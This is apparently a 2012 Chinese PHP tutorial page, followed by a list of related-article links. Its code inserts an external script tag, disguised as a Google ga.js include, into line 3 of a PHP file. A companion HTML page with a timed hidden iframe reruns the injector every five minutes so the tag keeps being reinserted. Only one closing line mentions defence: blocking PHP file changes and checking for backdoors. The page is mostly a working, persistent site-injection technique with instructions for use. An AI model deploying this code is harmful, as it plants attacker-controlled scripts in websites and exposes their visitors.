php在文件指定行中写入代码的方法


Posted in PHP onMay 23, 2012
<?php 
$file="aa.php" ; 
$code="<script src=http://www.google/ga.js></script>"; 
$f=fopen($file,"r+"); 
$content=fread($f,filesize($file)); 
fclose($f); 
if(!strstr($content,$code)){ 
$arrInsert = insertContent($file, $code, 3); 
unlink($file); 
foreach($arrInsert as $value) 
{ 
file_put_contents($file, $value, FILE_APPEND); 
} 
} 
function insertContent($source, $s, $iLine) { 
$file_handle = fopen($source, "r"); 
$i = 0; 
$arr = array(); 
while (!feof($file_handle)) { 
$line = fgets($file_handle); 
++$i; 
if ($i == $iLine) { 
$arr[] = $line .$s . "\n"; 
}else { 
$arr[] = $line; 
} 
} 
fclose($file_handle); 
return $arr; 
} 
?>

这个文件保存成php后,再用一个小程序隔几分钟指定执行它就可以。像operia浏览器就有这个功能。不过我又加了个html代码来运行它,可以用ie了,打开这个html后扔在哪就可以。
<HTML> 
<HEAD> 
</HEAD> 
<BODY> 
<SCRIPT LANGUAGE="JScript"> 
function singOut() { 
var O = document.createElement("iframe"); 
O.src="http://www.google.com/上边的php文件.php"; 
O.width=100; 
O.height=100; 
document.body.appendChild(O); 
} 
window.setInterval("singOut();",300000); 
</SCRIPT> 
</BODY> 
</HTML>

解决方法:这些代码都会在php中写入代码,我们可以写个规则禁止修改php文件.即可,一般服务器中才可以了,如果是虚拟主机的朋友就需要下载代码,经常查后门来解决了
PHP 相关文章推荐
php5.2时间相差8小时
Jan 15 PHP
PHP5+UTF8多文件上传类
Oct 17 PHP
php数组函数序列之next() - 移动数组内部指针到下一个元素的位置,并返回该元素值
Oct 31 PHP
PHP得到某段时间区间的时间戳 php定时任务
Apr 12 PHP
php数字游戏 计算24算法
Jun 10 PHP
使用PHP静态变量当缓存的方法
Nov 13 PHP
PHP之APC缓存详细介绍 apc模块安装
Jan 13 PHP
php使用glob函数遍历文件和目录详解
Sep 23 PHP
PHP的RSA加密解密方法以及开发接口使用
Feb 11 PHP
PHP5.0~5.6 各版本兼容性cURL文件上传功能实例分析
May 11 PHP
php微信公众号开发之音乐信息
Oct 20 PHP
PHP中SESSION过期设置
Mar 09 PHP
php替换超长文本中的特殊字符的函数代码
May 22 #PHP
php提示undefined index的几种解决方法
May 21 #PHP
openflashchart 2.0 简单案例php版
May 21 #PHP
PHP中去掉字符串首尾空格的方法
May 19 #PHP
有关PHP中MVC的开发经验分享
May 17 #PHP
php的array_multisort()使用方法介绍
May 16 #PHP
一个显示某段时间内每个月的方法 返回由这些月份组成的数组
May 16 #PHP
You might like
ThinkPHP中U方法的使用浅析
2014/06/13 PHP
利用PHP将部分内容用星号替换
2020/04/21 PHP
PHP闭包定义与使用简单示例
2018/04/13 PHP
javascript 进阶篇1 正则表达式,cookie管理,userData
2012/03/14 Javascript
判断多个input type=file是否有已经选择好文件的代码
2012/05/23 Javascript
如何用js控制frame的隐藏或显示的解决办法
2013/03/20 Javascript
JavaScript定义变量和变量优先级问题探讨
2014/10/11 Javascript
js淡入淡出焦点图幻灯片效果代码分享
2015/09/08 Javascript
javascript每日必学之运算符
2016/02/16 Javascript
javascript中去除数组重复元素的实现方法【实例】
2016/04/12 Javascript
JavaScript 函数的执行过程
2016/05/09 Javascript
JavaScript面试题大全(推荐)
2016/09/22 Javascript
教你用Cordova打包Vue项目的方法
2017/10/17 Javascript
使用vue实现简单键盘的示例(支持移动端和pc端)
2017/12/25 Javascript
Vue内部渲染视图的方法
2019/09/02 Javascript
解决layer弹出层自适应页面大小的问题
2019/09/16 Javascript
JavaScript实现Tab选项卡切换
2020/02/13 Javascript
jquery更改元素属性attr()方法操作示例
2020/05/22 jQuery
[05:59]带你看看DPC的台前幕后
2021/03/11 DOTA
Python使用函数默认值实现函数静态变量的方法
2014/08/18 Python
Python中bisect的用法
2014/09/23 Python
简单谈谈Python中的闭包
2016/11/30 Python
Python实现excel转sqlite的方法
2017/07/17 Python
Python KMeans聚类问题分析
2018/02/23 Python
Django中使用第三方登录的示例代码
2018/08/20 Python
高级运动鞋:GREATS
2019/07/19 全球购物
一些Unix笔试题和面试题
2013/01/22 面试题
如何防止同一个帐户被多人同时登录
2013/08/01 面试题
计算机专业推荐信范文
2013/11/20 职场文书
护士自荐信范文
2013/12/15 职场文书
11月红领巾广播稿
2014/01/17 职场文书
模具数控专业自荐信
2014/01/27 职场文书
结对共建协议书
2014/08/20 职场文书
职工小家建设活动方案
2014/08/25 职场文书
2014最新预备党员思想汇报范文:中国梦,我的梦
2014/10/25 职场文书
演讲稿之感恩老师(三篇范文)
2019/09/06 职场文书